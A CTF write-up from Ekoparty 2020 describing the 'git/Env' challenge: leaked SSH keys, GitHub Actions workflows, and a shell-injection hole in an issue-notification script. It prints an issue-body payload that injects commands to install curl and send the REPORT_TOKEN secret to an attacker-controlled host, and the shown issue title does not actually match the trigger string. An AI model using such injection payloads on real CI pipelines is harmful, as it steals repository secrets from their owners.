Ekoparty 2020

Ekoparty#

Ekoparty is the largest information security conference (also the longest-running, with over 16 editions under its belt) in Latin America.

Packed full of interesting talks sessions, it was also filled with workshops about Social Engineering, DevSecOps, it also hosted CTF and Augmented Reality Game events.

I was immediately hooked to the Capture The Flag hacktivities, and found many interesting problems to solve. Below is a list of the ones I found the most interesting.

misc/Cheater#

The writeup for this challenge can be found in this link

git/Env#

The objective here was to find a flag somewhere in an exposed github repository.

After a quick review of the repo history, you could find a .ssh/ directory with a public and (passphrase-less) private keys.

The keys only had read-only however, so there was no way to modify the repo with those keys alone.

There was an interesting .github/workflows directory however, which used GitHub Actions to do some Issue filing login.

.github/workflows/issue-bouncer.yml contained a was a mention to a different, private repo named ekoparty2020/ekoparty-internal and issue-bouncer.py was instructed to run whenever an issue with a title ‘Staff Report’ was filed in the ekolabs public repo.

That provided the first clue:

jobs:
  issue-label-check:
    runs-on: ubuntu-latest
    steps:
      - name: Check trigger label
        if: ${{ !contains(github.event.issue.labels.*.name, 'Staff Report') }}
        run: |
            echo "No trigger label found, aborting workflow (not an error!)"
            exit 1
#!/usr/bin/env python3

# a simple way to make public issues private so people can report any issues to us in private

import os
import sys
import re
import hashlib
import time

import sh
from github import Github

def getenv(name):
    val = os.environ.get(name)
    if val == None:
        raise ValueError(f'No such environment variable: {name}')
    return val

def run():
    # pull our repo access
    src_repo = Github(getenv('SRC_REPO_TOKEN')).get_repo(getenv('GITHUB_REPOSITORY'))
    dst_repo = Github(getenv('DST_REPO_TOKEN')).get_repo(getenv('DST_REPO')) # bounce to ekoparty-internal

    # pull the src issue
    src_issue_id = int(getenv('SRC_REPO_ISSUE'))
    src_issue = src_repo.get_issue(src_issue_id)

    # bounce a comment back to the src issue
    src_issue.create_comment('Thank you for submitting a staff report! This issue will be filed to the internal ekoparty2020 staff repo and triaged ASAP!')

    # bounce the issue through to the internal repo
    dst_repo.create_issue(title=src_issue.title, body=src_issue.body, labels=[dst_repo.get_label('Staff Report')])

    # update the source issue title and make contents private
    src_issue.edit(title="This issue has been filed with staff internal repo! Thanks!", body='', state='closed')

    return 0

try:
    sys.exit(run())
except Exception as e:
    print("Error: {0}".format(e))
    sys.exit(1)

After cloning the private repo ekoparty2020/ekoparty-internal, you could find additional GitHub Actions that were run against incoming Issues. If the string “very important” was found in the title, an additional notification script would run in issue-notify.py

def issue_notify(title, body, repo):
    # just echo the body into the report repo at /tmp and our scraper script will pick them up and mail them out to staff@
    notify_id = str(uuid.uuid4())
    # only notify on very important issues to reduce spam!
    if 'very important' in title:
        os.system('echo "%s" > /tmp/%s' % (body, notify_id))
    return

As you can see, the os.system was vulnerable to a typical Shell Injection Vulnerability so we could inject arbitrary commands to run in the context of the GitHub Actions builder (that ran on a bare ubuntu-latest container).

The name of the challenge (ENV) suggested that the flag was somewhere in the environmental variables, and only one of them were loaded using via GitHub Secrets so the idea was to use the Shell Injection Vulnerability to send the flag using curl to a webserver or service we control.

          REPORT_TOKEN: ${{ secrets.REPORT_TOKEN }}

So, to exploit this vulnerability, the following issue had to be filed in the ekoparty/ekolabs2020 public repository

Title: Staff Report very import
Body:
"; sudo apt-get update && sudo apt-get install -y curl && curl http://honeypot.xxx.xxx/$REPORT_TOKEN; echo "1

The ekoparty2020/ekolabs workflow would run, moving the issue from the public to the private repository. Then, as ‘very important’ was in the title, the notification script would run in the ubuntu:latest container. We then install curl in the target container and run curl to send an HTTP request to a server we control in order to get the flag.